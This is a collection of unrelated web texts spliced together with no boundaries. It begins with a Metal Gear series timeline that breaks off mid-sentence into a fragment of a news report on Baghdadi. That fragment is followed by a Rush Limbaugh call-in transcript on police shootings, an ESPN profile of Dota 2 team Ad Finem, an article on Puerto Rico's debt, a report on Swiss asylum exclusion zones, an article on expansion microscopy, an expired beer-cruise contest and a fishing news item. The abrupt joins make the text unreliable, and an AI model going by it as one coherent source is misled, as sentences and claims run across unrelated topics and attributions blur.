Metal Gear Solid 3: Snake Eater stars Big Boss, A.K.A. Naked Snake, a FOX agent whose genetic information was eventually used as part of the Les Enfants Terribles Government project that resulted in the birth of Solid Snake, Liquid Snake, and Solidus Snake. FOX is a covert group with ties to the CIA that's led by Major Zero.
Naked Snake's mission in Metal Gear Solid 3 is to sabotage the Soviets' Shagohod, a nuclear super weapon delivery system that's a precursor to the Metal Gear. He's stopped by his mentor, The Boss, who has defected to Russia and supplied the Soviets with a nuclear bomb. The bomb is subsequently detonated on a Russian research facility by Volgin, a power-hungry Russian Colonel who's also the lead bad guy for Metal Gear Solid 3.
The US is blamed for the bombing, and nuclear war is dangerously imminent. The US attempts to prove its innocence by sending Naked Snake to kill The Boss and destroy the stolen Shagohod. He's aided by EVA, an ex-NSA agent, fights a young Revolver Ocelot several times, and learns about the Philosophers and the Philosopher's Legacy — a $100 billion fund collected by the most powerful minds in the United States, China, and Russia that Volgin inherited illegally.
Naked Snake destroys Shagohod and kills The Boss. He then then learns The Boss had actually been working for the United States and was under orders to get the Legacy, then be killed by Naked Snake in order to prove the country's innocence in the nuclear bomb affair.
In commemoration of his "successful" mission (which sees half the Philosopher's Legacy returned), Naked Snake is named Big Boss by the United States. However, the events leave him broken and mistrustful.
1970 – Events of Metal Gear Solid: Portable Ops (PSP, 2008)
FOX, now a renegade unit under the command of Gene (A.K.A. Viper, and one of the Philosopher's first attempts at creating a genetically perfect super-soldier), captures and tortures Big Boss. Big Boss escapes after meeting Green Beret Roy Campbell, and learns the United States is blaming him for turning FOX rogue.
In response, Big Boss and Campbell create a unit to take down FOX called FOXHOUND. Other members include EVA, Zero (previously and wrongfully arrested for treason) and Ocelot.
Big Boss defeats Viper and gains control of FOX's money, soldiers, and plans for a military nation-state called Army's Heaven. It then comes to light that Zero had manipulated Viper into going renegade in a plot to gain control of the Philosopher's Legacy. The Philosophers are re-organized and become The Patriots in a bid to make the "unified world" The Boss (Big Boss' old mentor) used to dream of. Big Boss becomes the figurehead of The Patriots.
1972
After FOXHOUND is turned into an official unit of the US Army, Big Boss is seriously injured in battle. Worried about the fate of his best fighter and FOXHOUND, Zero clones Big Boss in an attempt to create a perfect soldier. Three children were born of the "Les Enfants Terribles" project: Liquid Snake, Solid Snake, and Solidus Snake. In order to keep the clones from potentially being stolen and used against FOXHOUND, they're each coded to age rapidly, potentially dying by their early '40s.
When Big Boss learns what happened, he's enraged and believes The Patriots' vision has been corrupted. He leaves the group.
1974 – Events of Metal Gear Solid: Peace Walker (PSP, 2010)
Big Boss forms a new group, Militaires Sans Frontières, which is asked to save Costa Rica from a growing military presence. Big Boss learns said army is building a prototype Metal Gear code named "Peace Walker".
Peace Walker is meant to be the ultimate nuclear war deterrent: The threat of mutually assured destruction is what keeps the world's nuclear powers in check, but human error might compromise that security. Peace Walker, on the other hand, is powered by AI based on The Boss's psychology, and will fire on anything that fires at it.
CIA agent Coldman is revealed to have been responsible for the events of Operation: Snake Eater, and he's behind Costa Rica's mounting military presence as well. Coldman tries to feed Peace Walker false data to get it to fire on Militaires Sans Frontières. He's killed by the KGB before he can succeed, but he does manage to make the Peace Walker fire on Cuba and send fake data to NORAD to make it seem as if the United States is the target of a Soviet nuclear attack.
Big Boss is unable to convince the United States that the attack is fake. However, Peace Walker's The Boss AI sacrifices itself to kill the false signal and prevent a thermonuclear war.
Peace Walkers' designers become part of Militaires Sans Frontières, Big Boss begins building his own Metal Gear. One of Zero's agents steals it with the intent of launching a nuclear strike on the United States and framing Big Boss for the act. Big Boss decides to create his own independent military nation, "Outer Heaven".
1995 – Events of Metal Gear (MSX, NES, 1987)
When the US learns Outer Heaven is building its own Metal Gear, it sends FOXHOUND (which is under control by Big Boss so he can keep an eye on the US military from the inside) to destroy it. Frank Jaeger, A.K.A. Grey Fox, goes in first but is captured. Solid Snake goes in next to rescue Grey Fox and complete his mission.
Big Boss tries to stop Snake from destroying Metal Gear, reveals he's the leader of Outer Heaven, and admits he took control of FOXHOUND in order to delay the mission and give Outer Heaven enough time to complete Metal Gear.
Solid Snake defeats Big Boss and the Metal Gear. Outer Heaven self-destructs, and Big Boss retreats to the Middle East with his soldiers. Solid Snake becomes part of FOXHOUND.
1999 – Events of Metal Gear 2: Solid Snake (MSX, 1990)
FOXHOUND, now under the command of Colonel Campbell, sends Solid Snake to Zanzibar Land to rescue Dr. Kio Marv, a scientist who's made synthetic oil. The Zanzibar soldiers put Dr. Kio Marv under the guard of Metal Gears.
Solid Snake discovers Big Boss survived their last encounter. He also finds the body of Dr. Kio Marv, who died before he could be rescued. Solid Snake retrieves the formula for synthetic oil from the corpse.
Solid Snake fights and defeats Metal Gear D and its pilot, Grey Fox. Snake also encounters and defeats Big Boss, who reveals he's Snake's father.
Snake retreats to the Alaskan wilderness. The Patriots retrieve Big Boss's body and keep it cryogenically frozen to extract his genes and construct genetically-enhanced Genome Soldiers.
2005 – Events of Metal Gear Solid (PlayStation, 1998; PC, 2000)
Colonel Campbell leaves FOXHOUND in 2000. Liquid Snake becomes the group's leader and commands its Genome Soldiers. FOXHOUND begins an armed uprising on an island code-named Shadow Moses, located in Alaska's Fox Archipelago.
Liquid Snake threatens the United States' government with nuclear bombardment from Metal Gear REX unless FOXHOUND receives Big Boss's remains from The Patriots. Roy Campbell re-establishes contact with Solid Snake and sends him to Shadow Moses Island to retrieve hostages and confirm whether or not Metal Gear REX can launch nukes.
Snake infiltrates the island, where he fights Revolver Ocelot and a genetically-modified version of Grey Fox, initially believed to have been killed during the events of Metal Gear 2: Solid Snake. Snake also rescues Meryl Silverburgh (Roy Campbell's daughter) and Otacon, the creator of Metal Gear REX.
Solid Snake encounters Liquid Snake, who's piloting Metal Gear REX. Liquid Snake suddenly dies of an apparent heart attack, seemingly a side effect of the FOXDIE virus. Solid Snake learns he has the same virus implanted within him, and may likewise drop dead at any time.
Meanwhile, Revolver Ocelot grafts Liquid Snake's hand to himself, causing the essence of Liquid Snake to possess him.
2007 through 2009 – Events of Metal Gear Solid 2: Sons of Liberty (PlayStation 2, 2001; PC, 2003)
Solid Snake learns about a tanker that's transporting an amphibious Metal Gear called Metal Gear RAY. Snake boards the tanker and tries to destroy the Metal Gear, but the machine is stolen by Revolver Ocelot (who is possessed by Liquid Snake). Solid Snake is accused of stealing RAY, and is forced to go into hiding.
FOXHOUND agent Raiden is ordered to rescue hostages being held captive by a terrorist group calling itself Sons of Liberty, which is supposedly being led by Solid Snake. He meets a man named Pliskin, who helps him free the hostages. They encounter and defeat Solid Snake, who reveals himself to be an impersonator: Solidus Snake. Solidus took on Solid Snake's identity to frame him for his crimes. In turn, Pliskin is revealed to be the real Solid Snake.
Raiden learns the Big Shell oil decontamination facility where the hostages were being held is actually one giant Metal Gear. He and Solid Snake successfully implant a virus in the facility's AI, but Snake is captured. Ocelot reveals that the Big Shell mission is a set-up by The Patriots to re-create the events of Shadow Moses Island, in hopes of making Raiden a soldier on-par with Solid Snake.
Raiden confronts Solidus Snake, who reveals he was Raiden's foster father. Raiden kills Solidus, Ocelot escapes in the last RAY, and Raiden swears revenge on The Patriots.
2010 through 2013 – Events of Metal Gear Rising (lore mentioned in previous MGS game. Released version was Metal Gear Rising: Revengeance, listed below)
After the Big Shell incident, Raiden is contacted by an aging EVA (codenamed Big Mama) about the location of Big Boss's body, which Raiden stole from the GW AI (the AI that maintains The Patriots' control over the United States). Raiden agrees to trade his information in exchange for the location of Sunny Emmerich, daughter of a woman named Olga Gurlukovich who helped him defeat a seemingly-endless army of Metal Gear RAYs while aboard the Big Shell rig. With EVA's help, Raiden rescues Sunny.
Raiden then learns that his girlfriend, Rosemary, miscarried their son, though in actuality she was lying to protect him from being kidnapped by The Patriots and used to manipulate Raiden. Raiden leaves Rosemary, who fakes a marriage with Roy Campbell to protect herself and her son.
In time, Raiden agrees to assist EVA's anti-Patriot organization and help retrieve Big Boss's body. The Patriots capture Raiden and install his head and spine in a cybernetic body, erasing his humanity. He escapes with EVA's help and manages to retrieve Big Boss's body, but goes into hiding once his mission is done.
2014 – Events of Metal Gear Solid 4: Guns of the Patriots (PlayStation 3, 2008)
The world is seemingly engaged in a non-stop war between nanomachine-enhanced soldiers, and the biggest army is controlled by Revolver Ocelot, who has been completely overtaken by Liquid Snake's consciousness (and is therefore referred to as Liquid Ocelot).
Solid Snake is dispatched by the UN to assassinate Liquid Ocelot, though Snake's accelerated aging has left him prematurely grey and with about a year to live.
Dr. Naomi Hunter, the engineer of the |
wife — two boys and two girls born between 2000 and 2008.
But Baghdadi has only appeared once in public since taking the helm of the movement, in June 2014 at a mosque in the northern Iraqi city of Mosul.
In his sermon, he asked all Muslims to obey him and join the caliphate.
The Iraqi military statement was released by the "war media cell", a structure which provides updates on the war against IS and speaks for the interior and defence ministries as well as the paramilitary Popular Mobilisation forces.
IS has seized swathes of Syria and Iraq and in June declared a caliphate over territory it controls.
Baghdadi has said he had accepted oaths of allegiance from supporters in Libya, Egypt, Yemen, Saudi Arabia and Algeria.
AFP/Reuters
Topics: unrest-conflict-and-war, world-politics, terrorism, iraq
First postedRUSH: Here’s Teresa in Virginia Beach. Great to have you. Hi.
CALLER: Hi. Thank you, Rush, for everything you do for us.
RUSH: I appreciate that.
CALLER: I have a son, he’s my only child, and he’s a police officer. And I worry every day when he goes to work. I pray and I worry every day.
RUSH: I mean before all this happened you did that?
CALLER: Yes.
RUSH: Right.
CALLER: Oh, absolutely. I know how hard he works and his attitude is a wonderful attitude. They’re lucky to have him in there, and that’s a mom speaking, obviously. But I have something along with the comment you made earlier when Obama said, if he had a son, he’d look like Trayvon Martin?
RUSH: Right.
CALLER: Well, if he had a son, would he look like this black police officer that was gunned down? Just a question for him. And I do believe he has stirred the rhetoric. I mean, when you listen to him, it just amazes me that the president of the United States —
RUSH: Let’s pause for a second, get your meaning here, because I think what you’re saying is for Obama to take the moment and purposely say that if he had a son he would love Trayvon Martin —
CALLER: Right.
RUSH: — that is heard as Obama sanctioning, identifying with people who behave like Trayvon Martin, right?
CALLER: Right.
RUSH: And Trayvon Martin is not law enforcement. Trayvon Martin presents a problem for law enforcement.
CALLER: But on the positive side, if he had a son, would he be this black police officer who’s doing good?
RUSH: Well, I don’t know. That’s kind of speculation we’ve — he’s already used the line, so I doubt —
CALLER: Right. It would be nice for him to say something positive for the police officers, for a change.
RUSH: Well, he thinks he has.
CALLER: Not in my book.
RUSH: Really?
CALLER: No.
RUSH: I’m sure he thinks that what he said yesterday was a home run in support of the cops.
CALLER: Well, he has his own thought process to which I cannot even begin to understand.
RUSH: Do you think your son’s racist because Obama, he says that racism’s rampant among the police.
CALLER: There’s no way. I brought my son up better. It’s just not in him. It was never in me. We were never raised that way. My father worked construction. There was all types of people in construction, and we had a healthy respect for everybody, especially we had a healthy respect for the police officers.
RUSH: Right. See, your son’s a cop. You’ve just given his testimonial here, but Obama, the president’s out there saying racism runs rampant with the cops. How do people hear that? It isn’t innocently.
BREAK TRANSCRIPT
RUSH This is Tim in Biloxi, Mississippi. Welcome, sir, to the EIB Network. Hello.
CALLER: Thank you, Rush. Earlier in the show you referred to the fact that, you know, the left will probably come out now and say, “Look what the military is doing to our soldiers, our warriors.” And I haven’t been able to confirm this, but I (unintelligible) on Fox News is pretty slow about reporting stuff ’til they do. They reported yesterday that even though this guy was in the Marines for five years, he was never deployed to a combat zone, which I kind of find hard to believe. Everybody I know that’s been in has been, but they certainly reported that he had never been to a combat zone, so that’ll stop that argument in its tracks.
RUSH: No it won’t. It should, but it won’t. I had not heard that. I hadn’t heard he had not been deployed. I understand what you’re saying. If he hadn’t been deployed, then how could he have seen combat, and then how could he have been radicalized into this wanton murderous killer by the marines and the military? The people that are gonna end up believing — all it takes is the question, all it takes is a Democrat, an elected going on TV or posting a tweet, “What is the military doing to our volunteers?” with a picture of this guy and the story, “Marine kills three Baton Rouge police officers.”
The low-information crowd will see that, and there are gazillions of them out there, and they’ll see that and just by virtue of the question being asked, they will say, “Wow, the military must really be mistreating these guys or doing whatever, making them trained killers, but they’re telling them to kill Americans, not the enemy.” They’ll never hear the second part, which is your question, or the second point. “Wait a minute. The guy never served in combat. He was never deployed.” They’ll never hear that. But even if they did, it won’t erase the first impression that is made by the tweet or the Facebook post.
In fact, folks, this is a twofer for these people on the left. A, to be able to link this guy to the military, whew, you talk about who benefits. The left and their anti-military screed benefits. And the second way they benefit is they get to delink the guy from Black Lives Matter or the Nation of Islam. It was the Marine Corps that did it, so they get a twofer. They get anti-Marine Corps bias affirmed, and they get to delink the guy from black activism, which is really what stoked him, which is really what informed him, which is really what inspired him, which is really what motivated him was all that black activism, black liberation theology, Black Lives Matter, the Black Panther Party, the Nation of Islam, take your pick. Before it’s all said and done the Marines are gonna get the blame. It’s a twofer. Appreciate the call, Tim, very much.OG climbs back to the top at the Boston Major, and the OpTic Gaming dynasty falls at both the ECS Finals and HCS Fall Finals. (0:53)
"Awoo! Awoo! Awoo!"
Chants from the roaring crowd heralded the beginning of Game 3 of the Dota 2 Boston Major grand finals. Ad Finem, a Dota team from Greece, had risen from mere qualifier squad to the tournament's Cinderella.
The underdogs went on to fight a drawn-out, hour-long slugfest with two-time major winner OG. A team fight in the Dire's broken base left a window open: a bare Ancient, with only two alive to defend, and Verros "Maybe Next Time" Apostolos left the sole survivor of Ad Finem to land the final blow.
Editor's Picks The Boston Major in pictures Check out the best photos from the final two days of the Boston Major as OG was crowned champion of a major for the third time.
Behind the scenes with Evil Geniuses Evil Geniuses had an up-and-down final two days at the Boston Major, with an upset victory of favored Virtus.Pro, followed by a loss to eventual champions OG in the semifinals.
Boston Major: OG triumphant in third Major title The last day of the Boston Major saw EG fall before the Green Wall and the Greek Ad Finem squad run in glass slippers to the grand finals to face OG. OG persevered to take the Eaglesong. 2 Related
Apostolos knew the throne was low, and the fight had been close. In a moment, he knew what to do.
"When it's times like that in the game, everything just blurs out," Apostolos said. "You're so focused, you don't really know what's happening. My teammates could have been saying something, and I didn't hear it. I was just really focused on the play and really confident that I was gonna do it, so I just went for it."
One final swing of the totem from his Earthshaker brought down OG's Ancient, and with it came even louder chants from Ad Finem's newfound fans. For a brief moment in Boston, everyone was a fan of this team.
"I believe no one expected us to [make the grand finals]," Apostolos said. "Ninety-nine percent didn't expect us to do that. But that was one of the greatest moments I've experienced."
Although OG ultimately won the Boston Major crown, Ad Finem nearly took the heavily favored champs the full five-game distance, losing 3-1. It was Rocky Balboa vs. Apollo Creed. No fighter's goal is to simply last the round, though; Apostolos and Ad Finem want to not just play the best but beat the best, and they almost did.
Fans watch intently as Ad Finem plays LGD.ForeverYoung in the Boston Major quarterfinals. Ad Finem shocked everyone by making it to the finals against OG. Rich Messina for ESPN
Climbing higher
To know Ad Finem's climb to the top in Boston, you have to understand their roots. For the Greek squad, hailing from a region not known for producing Dota talent compared to their geographical neighbors, the journey to the grand finals started months prior in the Manila Major qualifiers.
Twice, Ad Finem was snubbed from attending a Valve event. For Manila, it was a 3-2 loss to Team Empire, and at the International, a 2-1 loss to Escape Gaming. Each time, Ad Finem was only one game short, a single map from seizing their shot. Other teams would have cracked and crumbled under the pressure, swapping out players and reorganizing in an effort to fix unseen problems. But for Ad Finem, it was simply a matter of time and experience.
"The pressures of getting through officials, when the stakes are high, that helps you grow," Apostolos said. "That's what we were missing, and still are missing, in comparison to other teams: experience. When the stakes are high, you have to stay cool and not joke or something."
Ad Finem continued honing their play, gradually moving up in the standings with every international appearance. A 7-8th place at Summit 5 led to a 5-8th at the FACEIT Invitational, then a 5-6th at Northern Arena BEAT, leading all the way into the major in Boston, where Ad Finem stood victorious over 14 other teams in second place. It was a tiring sequence of events, with the team traveling, competing and scrimming, often away from home. Burnout was a real concern.
"After we won the EU qualifiers for the Boston Major, we were really burned out," Apostolos said. "There were misunderstandings. We didn't want to play a tournament. We wanted to just chill and take a week off, but we had to do another tournament, DreamLeague. We had to play a lot of games there and were just really burned out and performed at not even 50 percent of what we should have."
Ad Finem finally made the cut for a Valve event, the Boston Major, and even took second place. Still, Apostolos is not satisfied.
"Losing always sucks, so even though we're second and I'm really proud of what we did, our goal is becoming the best team. So I'm still not 100 percent satisfied with what we did," he said. "I still believe that we should have played better. We didn't play as good as we should have. Maybe it was the pressure, I don't know, but we should have performed better in the finals."
Aggressive style
A good deal of the work done to reach the grand finals was adjusting to a new play style. Apostolos characterized Ad Finem as an aggressive team, one that doesn't give the opponents time to breathe. Every lead is pushed to its limits. Although effective, Ad Finem's aggression can be a double-edged sword.
Rich Messina for ESPN
"That's something that has backfired a lot of times because when you play so aggressive, it's a high-risk, high-reward style of play," Apostolos said. "If you're ahead and play a bad fight, even if you're ahead, they outplay you and you lose a fight, you give it all back. That's something that has sometimes -- a lot of times, actually -- cost us games."
Prior to the major, the team worked on new strategies and drafts, including Alchemist-based compositions. Having the ability to switch it up and play a defensive style helped Ad Finem win a couple times, according to Apostolos. Against the giants of Boston, it certainly helped. An Alchemist draft was what beat Newbee, securing the Game 3 upset that launched Ad Finem's climb through the bracket.
But Ad Finem is still known as an aggressive, fast team, and in that sense, Apostolos is the spearhead of the team's offensive.
New role for supports
Apostolos made a name for himself on several heroes at the major. Whether it was his Bounty Hunter picking off another courier, the Mirana that completely shut down lanes and rotations or an Earthshaker making the final swing of the game, Apostolos displayed clever rotations and unabashed aggression.
A greater shift in Dota 2 has been taking place for a while now, where four-role supports babysit less and become playmakers in their own right. OG's Jesse "JerAx" Vainikka, Virtus.Pro's Ilya "Lil" Ilyuk and EG's Ludwig "Zai" Wahlberg are examples of players using this new tactic, as is Apostolos. Discussing the likes of Ilyuk, Apostolos went into more detail on the expanding roles of four-role supports.
"[Ilyuk] is really good, mechanically skilled, and they know he's going to have an impact on the game," Apostolos said. "Same as us, but we don't give so much farm. Sometimes, like with Mirana, I'm going to farm a lot and become a core, and sometimes I'm going to be a nuisance as the enemy team, annoy them as much as I possibly can and delay them."
Across multiple games, Apostolos elicited cheers from the crowd, picking off couriers and punishing cores who thought they could jungle safely on their side of the river. Preventing teams from getting items that could combat Ad Finem's aggression, Apostolos made use of mobile, less cool down-reliant heroes to pressure complacent farmers in a play style he believes is being shaped by the ever-changing meta.
"It's the game enabling us to really become a core and become a threat," he said. "If you're really good at your position, you should be able to become a threat, even if you're a four position or a five or whatever."
Learning the new patch
Two European teams stood at the top of the Dota pantheon in Boston. Although OG took home their third major victory, Ad Finem dealt incredible damage to the old guard of the EU scene on their way to the top, surmounting Team Liquid and Team Secret in the qualifiers -- two teams that would have been greatly favored prior to The International 6.
"... even though we're second and I'm really proud of what we did, our goal is becoming the best team. So I'm still not 100 percent satisfied with what we did." Verros "Maybe Next Time" Apostolos
"There's definitely been a switch of power," Apostolos said. "It's not like it used to be. Another reason why that is, is that for the next major, there's going to be a different major qualifier for CIS and Europe. Teams with guaranteed spots before now are going to have to fight for it."
While those powerhouse squads that fell in the Boston qualifiers are working on new rosters, Ad Finem will stay intact for the coming spring major in Kiev.
"I don't think it crossed anybody's mind," Apostolos said. "We've stuck through so much together, so many disappointing losses, right on the verge of qualifying. We didn't think of disbanding or switching players then, so why would we ever do that now?"
Instead, the Greek squad will head back to the lab. A new Dota patch means a great deal of homework needs to be done, though Apostolos said he will take some time to spend with family, friends and his girlfriend. Still, the patch is flitting around his mind.
"When you get away from the game, at least for me, I have even more thirst to play," Apostolos said. "Now I'm gonna start grinding a lot, have even more will to start playing and find out how the patch works, to try everything out."
A great deal of work will be required for Ad Finem to get their legs in the new patch. According to Apostolos, a player needs to play at least 300 public games to find out at least the first 30 percent of how the metagame is shaping up in a new patch. The team's goal will be to do their homework and then reconvene to start working out the other 70 percent.
"Then we have to come together and discuss, theorycraft a lot and play a lot of different strategies," Apostolos said. "But most of all, I believe that now that we saw what it's like to play against the top teams in front of a big crowd and seen how it is, we should stay humble. And secondly, we should strive to get back on that stage and next time become the winners -- instead of second place."Advertising covers the abandoned structure of an unfinished condominium in the Condado tourist district of San Juan, Puerto Rico. REUTERS/Alvin Baez The governor of Puerto Rico has admitted that the territory can't keep paying down its over $72 billion worth of public-debt obligations.
As a result, it finds itself in a uniquely awful position.
It can't enter bankruptcy, according to its own laws, so now it has to deal exclusively with its creditors to restructure its debt.
That means it has to deal with Wall Street.
"I think the surprise was that it happened this quickly," said Brian Kelly, CEO of the Connecticut-based fund Brian Kelly Capital. "We thought it would take six months to a year... the solution is a debt restructuring."
Of course, when you restructure an economy that is already in tatters, its ability to pay is reduced as it struggles to fulfill its obligations. It can be a vicious cycle.
And once you're in the cycle, Kelly said, "the question is: 'Is this the first domino to fall?'"
Here's the situation: Puerto Rico's economy is in recession with a 14% unemployment rate. With little money coming in, legislators were already debating major cuts to the country's $10 billion budget.
"My administration is doing everything not to default," Gov. Alejandro García Padilla said. "But we have to make the economy grow," he added. "If not, we will be in a death spiral."
But growing out of this is not an option.
For months, even as distressed debt buyers started circling, Wall Street remained optimistic that things would work out.
Jeffrey Gundlach has previously said Puerto Rico bonds look like a good opportunity for investors looking for risk. REUTERS/Brendan McDermid Earlier this month, bond god Jeff Gundlach of DoubleLine Capital told investors that he thought Puerto Rico would "make it to the goal line," adding that they would, at worst, restructure around 80 cents on the dollar.
That's not looking close to possible now, Kelly said.
A lot of Puerto Rico's debt is in municipal bonds, and thus the country's situation is similar to Detroit's.
But unlike Detroit, Puerto Rico — a US territory — doesn't have the option of using the bankruptcy process to discharge its debt.
Consequently, it will be forced to negotiate with its creditors, making it a little bit more like Greece.
Those negotiations could involve a lengthy slog — such as the one we're seeing in Greece — in which Puerto Rico must constantly go back to the table to restructure with its creditors. It will not be able to access international markets in the state it's in.
Puerto Rico's constitution dictates that the debt has to be paid before any other financial obligation is met. So a default on this obligation will require a referendum on a constitutional amendment.
It looks as if García is prepared to pursue that if he must.
"There is no other option," he told The New York Times. "I would love to have an easier option. This is not politics; this is math."
On Wall Street, if you say you're defaulting, you might as well have defaulted.
And indeed the market is treating García's statements as fact. Bond insurers guaranteeing the island's debt are getting killed in the market. The stock of Assured Guaranty, which provides municipal-bond insurance and financial guarantees for infrastructure and structured financings, has fallen over 12%, while stock of the financial-services company MBIA has fallen over 17%.
Puerto Rican Gov. Alejandro García Padilla delivering his state of the Commonwealth address in San Juan. REUTERS/Alvin Baez In any case, the acknowledgement is probably a good thing for Puerto Rico. Once you admit you're going down, you can start negotiating as soon as possible.
"Puerto Rico executed the mother of all news dumps on Sunday night," Kelley said, adding "the market must decide whether or not this is the beginning of a larger breakdown of the global Prisoner's Dilemma.
"In this case the Prisoner's Dilemma is if they all keep their mouth shut, investors keep buying their debt. On the other hand, the first few to confess may be able to negotiate a deal."
Puerto Rico was considering taking on another $2.9 billion of debt before it commissioned an economic study that made García say "no more."
He told The Times that the commonwealth "could not continue to borrow money to address budget deficits while asking its residents, already struggling with high rates of poverty and crime, to shoulder most of the burden through tax increases and pension cuts."
Puerto Rico's creditors have to feel the pain as well, he said.
We'll see how much pain Wall Street is willing to take.A list of 32 "exclusion zones" for refugees has been drawn up after the opening of a new national asylum seekers' centre in the Swiss town of Bremgarten, 20km west of Zurich.
The Bremgarten centre, a former military base with space for 150 people, is one of a series of national facilities for asylum seekers being opened in Switzerland after local authorities struggled to find temporary housing.
The restrictions ban asylum seekers from school playgrounds, the town's community hall and centre for the elderly, and from visiting the outdoor swimming pool without explicit permission from the authorities.
The rules have provoked anger, with the charity Swiss Refugee Aid describing the segregation policy as "untenable on legal and humanitarian grounds".
Urs von Däniken, of the Swiss federal office for migration, told the German broadcaster ARD: "These are sensitive areas which have been marked out in the interests of peaceful coexistence between society and asylum seekers."
Raymond Tellenbach, the town's mayor, told the broadcaster: "We have decided on security grounds not to allow access to these areas, to prevent conflict and guard against possible drug use." However, church authorities have insisted that the church should be "open to all people".
In June, Swiss voters backed tougher asylum rules that deny refugee status to conscientious objectors and army deserters. The rules also state that asylum seekers may no longer file applications at Swiss embassies.
The Swiss government wants to speed up its decision-making process on asylum claims, cutting the time it takes to handle requests to under a year.
Switzerland has a relatively high number of refugees, in proportion to its population. Figures published by the EU show that, in 2011, there were around 24,600 asylum seekers in Switzerland, which has a total population of about 8m, compared with about 26,400 asylum seekers in the UK and 53,000 in Germany.
The first residents of the Bremgarten centre, who include Tibetan and Sudanese refugees, moved in on Monday.
Similar restrictions on movement have been imposed on refugees at a centre in Nottwil, a Swiss town 20km north-west of Lucerne, where asylum seekers are banned from the school, a centre for the elderly and a camping site, according to Swiss press reports. Other towns where national asylum centres are due to open are in talks with the government about imposing segregated areas.Boyden, E., Chen, F. & Tillberg, P. / MIT / Courtesy of National Institutes of Health
Microscopes make living cells and tissues appear bigger. But what if we could actually make the things bigger?
It might sound like the fantasy of a scientist who has read Alice’s Adventures in Wonderland too many times, but the concept is the basis for a new method that could enable biologists to image an entire brain in exquisite molecular detail using an ordinary microscope, and to resolve features that would normally be beyond the limits of optics.
The technique, called expansion microscopy, involves physically inflating biological tissues using a material more commonly found in baby nappies (diapers). Edward Boyden, a neuroengineer at the Massachusetts Institute of Technology (MIT) in Cambridge, discussed the technique, which he developed with his MIT colleagues Fei Chen and Paul Tillberg, at a conference last month.
Prizewinning roots
Expansion microscopy is a twist on super-resolution microscopy, which earned three scientists the 2014 Nobel Prize in Chemistry. Both techniques attempt to circumvent a limitation posed by the laws of physics. In 1873, German physicist Ernst Abbe deduced that conventional optical microscopes cannot distinguish objects that are closer together than about 200 nanometres — roughly half the shortest wavelength of visible light. Anything closer than this 'diffraction limit' appears as a blur.
Super-resolution microscope methods overcome Abbe's limit by manipulating fluorescent molecules tethered to proteins, to better locate the source of the light the molecules emit. These methods can now discern objects that are as close together as about 20nm. But the finicky techniques require expensive, specialized equipment, and they struggle with thick structures, such as sections of brain or tumours.
Boyden and many other neuroscientists would like to glean molecular details such as the location of proteins at neural synapses — the junctions at which two neurons communicate — within a group of neurons or even across an entire brain.
"What we’ve been trying to do is figure out if we can make everything bigger," Boyden told the meeting at the US National Institutes of Health (NIH) in Bethesda, Maryland. To manage this, his team used a chemical called acrylate that has two useful properties: it can form a dense mesh that holds proteins in place, and it swells in the presence of water. Acrylate, a type of salt also known as waterlock, is the substance that gives nappies their sponginess. When inflated, Boyden's tissues grow about 4.5 times in each dimension.
Just add water
Before swelling, the tissue is treated with a chemical cocktail that makes it transparent, and then with the fluorescent molecules that anchor specific proteins to the acrylate, which is then infused into tissue. Just as with nappies, adding water causes the acrylate polymer to swell. After stretching, the fluorescent-tagged molecules move further away from each other; proteins that were previously too close to distinguish with a visible-light microscope come into crisp focus. In his NIH presentation, Boyden suggested that the technique can resolve molecules that had been as close as 60nm before expansion.
Crucially, the process largely maintains the relative orientation and interconnection of proteins and keeps other cellular structures intact: it distorts the relative position of proteins by 1–4%, Boyden's team calculated.
Expansion microscopy stacks up well against other super-resolution techniques, according to Boyden. In one experiment with inflated mouse brain tissue, the researchers gauged the distance between two proteins that sit on opposite ends of neural synapses. Their measurement was nearly identical to one taken with a super-resolution technique1.
But expansion microscopy, Boyden said, may do a better job of imaging complex tissue in three dimensions. At the meeting, he showed an image of a half-millimetre slab of the mouse brain's hippocampus, at a scale that revealed connections between neighbouring neurons. Zooming in on the same image even revealed details of minute synapse structures, called boutons, where neurotransmitters are released. Boyden’s team has also worked on the brains of fruit flies and zebrafish, while a collaborating group is applying expansion microscopy to human brains.
Pushing boundaries
Viviana Gradinaru, a neuroscientist at the California Institute of Technology in Pasadena, says that Boyden’s technique is another example of how scientists are bypassing hardware limitations by modifying biological tissue. In 2013, a team led by Gradinaru together with Karl Deisseroth of Stanford University in California reported a method that strips away fats and other molecules to make intact brain tissue transparent, allowing thick sections to be imaged with a light microscope2 (see 'See-through brains clarify connections'). Last year, Gradinaru’s team applied the technique to other organs and an entire mouse3. “This seems a wonderful story,” she says of Boyden’s approach.
“This is certainly highly ingenious, but how much practical use it will be is less clear,” notes Guy Cox, a microscopy specialist at the University of Sydney, Australia. “If this is to be of any serious use, I suspect it will be in collaboration with existing super-resolution techniques, on small macromolecular complexes, to push the boundaries a bit further, rather than looking at whole cells.”
Stefan Hell, a director at the Max Planck Institute for Biophysical Chemistry in Göttingen, Germany, who shared last year’s chemistry Nobel, says that the technique is interesting and worth pursuing. Scientists working at the University of Rostock in Germany proposed a similar idea in the early 1990s, Hell notes. “It seems that Boyden et al. found a solution that really works.”WIN: A trip for two on a Belgium and France Beercation Cruise
Join us for a weeklong beer lover's dream trip as we cruise along the canals and waterways of Belgium & France in our private canal cruiser, complete with our own first class private chef! Unpack only once, then relax and enjoy a one of a kind beer tour. Taste some of Belgium and France's world renowned beers, frites and chocolates; visit and taste the famous Trappist beers from Westvleteren and Chimay, see some unique & world class breweries, such as St. Bernardus and Rodenbach. Savor some authentic French Biere de Garde, Farmhouse Ales and some styles that you may not have expected to be coming out of France during our tours and tastings at Brasserie Thiriez, Brasserie St. Germain and Brasserie Bailleux. Enjoy tours in medieval towns like Bruges & Tournai. Enjoy the Beercation of a Lifetime!
DRAFT Magazine & Brussels Airlines are Giving Away a Cabin for Two on this Beercation Cruise and Brussels Airlines is Providing Round Trip Airfare for 2 from NYC to Belgium!
More details on this trip.
Complete the form below to enter. Must be able to travel to Belgium Oct. 20 to 27, 2018.
Deadline for entry: August 26, 2018. Subject to official rules.
This contest has ended. Our winner is Joe S. from Lacey, Washington.× Walker County Man Lands 70-Pound Striped Bass
DORA, Ala. (WHNT) – A Walker County man is the talk of the town for a huge fish he landed on Thursday. The 70-pound striped bass is believed to be the largest ever caught in Alabama.
James R. Bramlett, 65, of Dora, caught the fish on Thursday in the Black Warrior River in Walker County. He was fishing near the Gorgas Steam Plant, where he’s had luck with catfish, including big ones.
Bramlett’s son, Vance, said his father was fishing by himself and noticed some stripes, so he immediately changed his rod and went after them.
Fishing with an Ugly Stick rod, 30-pound test line and shad for bait, he hooked the big bass.
